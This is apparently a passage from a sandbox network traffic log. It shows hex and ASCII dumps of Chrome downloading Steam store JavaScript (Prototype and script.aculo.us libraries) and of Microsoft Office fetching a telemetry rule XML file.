2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 62 50 61 63 6b 61 67 65 44 69 73 63 6f 75 6e 74 65 64 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 63 55 73 65 72 49 74 65 6d 73 49 6e 42 75 6e 64 6c 65 2b 2b 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 50 61 63 6b 61 67 65 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e Data Ascii: BundleItem.m_bPackageDiscounted;BundleForUser.m_cUserItemsInBundle++;BundleForUser.m_nPackageBasePriceInCents += BundleItem.m_nBasePriceInCents;BundleForUser.m_nFinalPriceInCents += BundleItem.m_nFinalPriceInCents;BundleForUser.m_n
2024-10-06 11:20:56 UTC	956	IN	Data Raw: 74 6f 72 65 49 74 65 6d 44 61 74 61 28 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 41 70 70 44 61 74 61 5b 61 70 70 69 64 5d 2c 20 72 67 41 70 70 73 5b 61 70 70 69 64 5d 20 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 69 66 20 28 20 72 67 50 61 63 6b 61 67 65 73 20 26 26 20 74 79 70 65 6f 66 20 72 67 50 61 63 6b 61 67 65 73 2e 6c 65 6e 67 74 68 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 66 6f 72 28 20 76 61 72 20 70 61 63 6b 61 67 65 69 64 20 69 6e 20 72 67 50 61 63 6b 61 67 65 73 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 69 66 20 28 20 21 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 50 61 63 6b 61 67 65 44 61 74 61 5b 70 61 63 6b 61 67 65 69 64 5d 20 29 0d 0a 09 09 09 09 09 47 53 74 6f 72 Data Ascii: toreItemData( GStoreItemData.rgAppData[appid], rgApps[appid] );}}if ( rgPackages && typeof rgPackages.length == 'undefined' ){for( var packageid in rgPackages ){if ( !GStoreItemData.rgPackageData[packageid] )GStor
2024-10-06 11:20:56 UTC	14976	IN	Data Raw: 30 30 30 30 33 41 37 34 0d 0a 65 49 44 20 3d 20 24 65 6c 2e 64 61 74 61 28 27 64 73 2d 62 75 6e 64 6c 65 69 64 27 20 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 75 6e 42 75 6e 64 6c 65 49 44 20 26 26 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 29 0d 0a 09 09 09 72 65 74 75 72 6e 20 7b 20 62 75 6e 64 6c 65 69 64 3a 20 75 6e 42 75 6e 64 6c 65 49 44 2c 20 69 74 65 6d 3a 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 7d 3b 0d 0a 0d 0a 09 09 69 66 28 20 75 6e 50 61 63 6b 61 67 65 49 44 20 26 26 20 75 6e 50 61 63 6b 61 67 65 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 2c 27 29 20 21 3d 3d Data Ascii: 00003A74eID = $el.data('ds-bundleid' );if ( unBundleID && GStoreItemData.rgBundleData[unBundleID] )return { bundleid: unBundleID, item: GStoreItemData.rgBundleData[unBundleID] };if( unPackageID && unPackageID.toString().indexOf(',') !==
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 42 49 73 41 70 70 4f 6e 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 20 29 20 29 0d 0a 09 09 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 41 70 70 6c 69 63 61 62 6c 65 53 65 74 74 69 6e 67 73 2e 68 61 73 5f 64 69 73 63 6f 75 6e 74 20 26 26 20 53 65 74 74 69 6e 67 73 2e 68 61 73 5f 64 69 73 63 6f 75 6e 74 20 29 0d 0a 09 09 7b 0d 0a 09 09 20 20 20 20 69 66 20 28 20 21 72 67 41 70 70 44 61 74 61 2e 64 69 73 63 6f 75 6e 74 5f 62 6c 6f 63 6b 20 7c 7c 20 72 67 41 70 70 44 61 74 61 2e 64 69 73 63 6f 75 6e 74 5f 62 6c 6f 63 6b 2e 69 6e 63 6c 75 64 65 73 28 27 6e 6f 5f 64 69 73 63 6f 75 6e 74 27 29 20 29 0d 0a 09 09 20 20 20 20 7b 0d 0a 09 09 20 20 20 20 Data Ascii: 00004000GDynamicStore.BIsAppOnWishlist( appid ) ) return false;if ( ApplicableSettings.has_discount && Settings.has_discount ){ if ( !rgAppData.discount_block \|\| rgAppData.discount_block.includes('no_discount') ) {
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 72 20 69 20 3d 20 30 3b 20 69 0d 0a Data Ascii: r i = 0; i
2024-10-06 11:20:56 UTC	10941	IN	Data Raw: 30 30 30 30 32 41 42 31 0d 0a 20 3c 20 72 67 43 61 70 73 75 6c 65 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 76 61 72 20 24 63 61 70 73 75 6c 65 20 3d 20 24 4a 28 20 72 67 43 61 70 73 75 6c 65 73 5b 69 5d 20 29 3b 0d 0a 09 09 09 76 61 72 20 69 74 65 6d 69 64 20 3d 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 50 61 67 65 2e 49 74 65 6d 49 44 46 72 6f 6d 43 61 70 73 75 6c 65 28 20 24 63 61 70 73 75 6c 65 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 21 69 74 65 6d 69 64 20 7c 7c 20 28 20 69 74 65 6d 69 64 2e 61 70 70 69 64 20 26 26 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 42 49 73 53 61 6c 65 50 61 67 65 41 70 70 49 44 28 20 69 74 65 6d 69 64 2e 61 70 70 69 64 20 29 20 29 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 2f 2f 20 69 Data Ascii: 00002AB1 < rgCapsules.length; i++ ){var $capsule = $J( rgCapsules[i] );var itemid = GDynamicStorePage.ItemIDFromCapsule( $capsule );if ( !itemid \|\| ( itemid.appid && GDynamicStore.BIsSalePageAppID( itemid.appid ) ) ){// i
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49761	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	402	OUT	GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	384	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".a38iP7Khdmyy" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=6050818 Expires: Sun, 15 Dec 2024 12:07:54 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:56 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2f 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 4a 61 76 61 53 63 72 69 70 74 20 66 72 61 6d 65 77 6f 72 6b 2c 20 76 65 72 73 69 6f 6e 20 31 2e 37 0d 0a 20 2a 20 20 28 63 29 20 32 30 30 35 2d 32 30 31 30 20 53 61 6d 20 53 74 65 70 68 65 6e 73 6f 6e 0d 0a 20 2a 0d 0a 20 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 69 73 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 75 6e 64 65 72 20 74 68 65 20 74 65 72 6d 73 20 6f 66 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 20 46 6f 72 20 64 65 74 61 69 6c 73 2c 20 73 65 65 20 74 68 65 20 50 72 6f 74 6f 74 79 70 65 20 77 65 62 20 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 6f 74 79 70 65 6a 73 2e 6f 72 67 2f 0d 0a 20 2a Data Ascii: 0000C000/* Prototype JavaScript framework, version 1.7 * (c) 2005-2010 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://www.prototypejs.org/ *
2024-10-06 11:20:56 UTC	15833	IN	Data Raw: 28 5c 73 2b 28 22 5b 5e 22 5d 2a 22 7c 27 5b 5e 27 5d 2a 27 7c 5b 5e 3e 5d 29 2b 29 3f 3e 7c 3c 5c 2f 5c 77 2b 3e 2f 67 69 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 74 72 69 70 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 6e 74 2c 20 27 69 6d 67 27 29 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 72 61 63 74 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 61 74 63 68 41 6c 6c 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 6e 74 2c 20 27 Data Ascii: (\s+("[^"]"\|'[^']'\|[^>])+)?>\|<\/\w+>/gi, ''); } function stripScripts() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); } function extractScripts() { var matchAll = new RegExp(Prototype.ScriptFragment, '
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 50 72 6f 74 6f 2c 20 7b 0d 0a 20 20 20 20 5f 65 61 63 68 3a 20 20 20 20 20 5f 65 61 63 68 2c 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 20 20 20 20 63 6c 65 61 72 2c 0d 0a 20 20 20 20 66 69 72 73 74 3a 20 20 20 20 20 66 69 72 73 74 2c 0d 0a 20 20 20 20 6c 61 73 74 3a 20 20 20 20 20 20 6c 61 73 74 2c 0d 0a 20 20 20 20 63 6f 6d 70 61 63 74 3a 20 20 20 63 6f 6d 70 61 63 74 2c 0d 0a 20 20 20 20 66 6c 61 74 74 65 6e 3a 20 20 20 66 6c 61 74 74 65 6e 2c 0d 0a 20 20 20 20 77 69 74 68 6f 75 74 3a 20 20 20 77 69 74 68 6f 75 74 2c 0d 0a 20 20 20 20 72 65 76 65 72 73 65 3a 20 20 20 72 65 76 65 72 73 65 2c 0d 0a 20 20 20 20 75 6e 69 71 3a 20 20 20 20 20 20 75 6e 69 71 2c 0d 0a 20 20 20 20 69 6e 74 65 72 73 65 63 74 3a 20 69 6e 74 65 72 73 65 63 74 2c 0d 0a 20 20 20 20 63 Data Ascii: Proto, { _each: _each, clear: clear, first: first, last: last, compact: compact, flatten: flatten, without: without, reverse: reverse, uniq: uniq, intersect: intersect, c
2024-10-06 11:20:56 UTC	947	IN	Data Raw: 74 65 20 3d 20 75 6e 64 65 66 69 6e 65 64 3b 0d 0a 20 20 20 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 74 69 6d 65 72 29 3b 0d 0a 20 20 20 20 28 74 68 69 73 2e 6f 6e 43 6f 6d 70 6c 65 74 65 20 7c 7c 20 50 72 6f 74 6f 74 79 70 65 2e 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 75 70 64 61 74 65 43 6f 6d 70 6c 65 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 65 63 61 79 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 64 65 63 61 79 20 3d 20 28 72 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 20 3d 3d 20 74 68 69 73 2e 6c 61 73 74 Data Ascii: te = undefined; clearTimeout(this.timer); (this.onComplete \|\| Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(response) { if (this.options.decay) { this.decay = (response.responseText == this.last
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 6d 65 6e 74 2e 5f 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 58 50 61 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 72 65 73 75 6c 74 73 20 3d 20 5b 5d 3b 0d 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 65 76 61 6c 75 61 74 65 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 24 28 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2c 0d 0a 20 20 20 20 20 20 6e 75 6c 6c 2c 20 58 50 61 74 68 52 65 73 75 6c 74 2e 4f 52 44 45 52 45 44 5f 4e 4f 44 45 5f 53 4e 41 50 53 48 4f 54 5f 54 59 50 45 2c 20 6e 75 6c 6c 29 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 Data Ascii: 00004000ument._getElementsByXPath = function(expression, parentElement) { var results = []; var query = document.evaluate(expression, $(parentElement) \|\| document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = 0
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 74 28 65 6c 65 6d 65 6e 74 29 0d 0a Data Ascii: t(element)
2024-10-06 11:20:56 UTC	3235	IN	Data Raw: 30 30 30 30 30 43 39 37 0d 0a 3b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 70 6f 73 5b 30 5d 2c 20 70 6f 73 5b 31 5d 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 67 65 74 53 74 79 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 73 74 79 6c 65 29 20 7b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 24 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 73 74 79 6c 65 20 3d 20 73 74 79 6c 65 20 3d 3d 20 27 66 6c 6f 61 74 27 20 3f 20 27 63 73 73 46 6c 6f 61 74 27 20 3a 20 73 74 79 6c 65 2e 63 61 6d 65 6c 69 7a 65 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 73 74 79 6c 65 5d 3b 0d 0a 20 20 20 20 69 66 Data Ascii: 00000C97; window.scrollTo(pos[0], pos[1]); return element; }, getStyle: function(element, style) { element = $(element); style = style == 'float' ? 'cssFloat' : style.camelize(); var value = element.style[style]; if
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 45 6c 65 6d 65 6e 74 2e 67 65 74 4f 66 66 73 65 74 50 61 72 65 6e 74 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 20 3d 20 45 6c 65 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 4f 66 66 73 65 74 28 70 61 72 65 6e 74 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 70 61 72 65 6e 74 20 3d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 20 7b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 30 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 4c 65 66 74 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 31 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 54 6f 70 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 6f 70 74 69 6f 6e 73 2e 73 65 74 4c Data Ascii: 00004000Element.getOffsetParent(element); delta = Element.viewportOffset(parent); } if (parent == document.body) { delta[0] -= document.body.offsetLeft; delta[1] -= document.body.offsetTop; } if (options.setL
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 20 63 6f 70 79 28 6d 65 74 68 0d 0a Data Ascii: copy(meth
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 64 73 2c 20 64 65 73 74 69 6e 61 74 69 6f 6e 2c 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 29 20 7b 0d 0a 20 20 20 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 3d 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 70 72 6f 70 65 72 74 79 20 69 6e 20 6d 65 74 68 6f 64 73 29 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 6d 65 74 68 6f 64 73 5b 70 72 6f 70 65 72 74 79 5d 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 4f 62 6a 65 63 74 2e 69 73 46 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 29 20 63 6f 6e 74 69 6e 75 65 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 21 28 70 72 6f 70 65 72 74 79 20 69 6e 20 64 65 73 Data Ascii: 00004000ods, destination, onlyIfAbsent) { onlyIfAbsent = onlyIfAbsent \|\| false; for (var property in methods) { var value = methods[property]; if (!Object.isFunction(value)) continue; if (!onlyIfAbsent \|\| !(property in des

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48vlsxxpe15ac3q7n00000001x0000000005m0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49764	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	450	OUT	GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Me1IBxzktiwk" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=13503006 Expires: Tue, 11 Mar 2025 18:11:02 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:56 UTC	15995	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2f 20 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 20 73 63 72 69 70 74 61 63 75 6c 6f 75 73 2e 6a 73 20 76 31 2e 38 2e 31 2c 20 54 68 75 20 4a 61 6e 20 30 33 20 32 32 3a 30 37 3a 31 32 20 2d 30 35 30 30 20 32 30 30 38 0d 0a 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 35 2d 32 30 30 37 20 54 68 6f 6d 61 73 20 46 75 63 68 73 20 28 68 74 74 70 3a 2f 2f 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 2c 20 68 74 74 70 3a 2f 2f 6d 69 72 2e 61 63 75 6c 6f 2e 75 73 29 0d 0a 2f 2f 20 0d 0a 2f 2f 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 0d 0a 2f Data Ascii: 0000C000// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)// // Permission is hereby granted, free of charge, to any person obtaining/
2024-10-06 11:20:56 UTC	15787	IN	Data Raw: 20 66 6f 72 20 62 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 0d 0a 45 66 66 65 63 74 2e 4d 6f 76 65 42 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 74 6f 54 6f 70 2c 20 74 6f 4c 65 66 74 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 6e 65 77 20 45 66 66 65 63 74 2e 4d 6f 76 65 28 65 6c 65 6d 65 6e 74 2c 20 0d 0a 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 78 3a 20 74 6f 4c 65 66 74 2c 20 79 3a 20 74 6f 54 6f 70 20 7d 2c 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 20 7c 7c 20 7b 20 7d 29 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 45 66 66 65 63 74 2e 53 63 61 6c 65 20 3d 20 43 6c 61 73 73 2e 63 72 65 61 74 65 28 45 66 66 65 63 74 2e 42 61 73 65 2c 20 7b 0d 0a 20 20 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 Data Ascii: for backwards compatibilityEffect.MoveBy = function(element, toTop, toLeft) { return new Effect.Move(element, Object.extend({ x: toLeft, y: toTop }, arguments[3] \|\| { }));};Effect.Scale = Class.create(Effect.Base, { initialize: functi
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 53 74 79 6c 65 28 7b 68 65 69 67 68 74 3a 20 27 30 70 78 27 7d 29 2e 73 68 6f 77 28 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 74 65 72 46 69 6e 69 73 68 49 6e 74 65 72 6e 61 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 66 66 65 63 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 75 6e 64 6f 43 6c 69 70 70 69 6e 67 28 29 2e 75 6e 64 6f 50 6f 73 69 74 69 6f 6e 65 64 28 29 2e 73 65 74 53 74 79 6c 65 28 6f 6c 64 53 74 79 6c 65 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: effect.effects[0].element.setStyle({height: '0px'}).show(); }, afterFinishInternal: function(effect) { effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); }
2024-10-06 11:20:56 UTC	998	IN	Data Raw: 2e 69 6e 64 69 63 61 74 6f 72 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 4b 65 79 50 72 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 0d 0a 20 20 20 20 20 20 73 77 69 74 63 68 28 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 54 41 42 3a 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 65 6c 65 63 74 45 6e 74 72 79 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 45 76 65 6e 74 2e 73 74 6f 70 28 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 3a 0d 0a 20 20 Data Ascii: .indicator); }, onKeyPress: function(event) { if(this.active) switch(event.keyCode) { case Event.KEY_TAB: case Event.KEY_RETURN: this.selectEntry(); Event.stop(event); case Event.KEY_ESC:
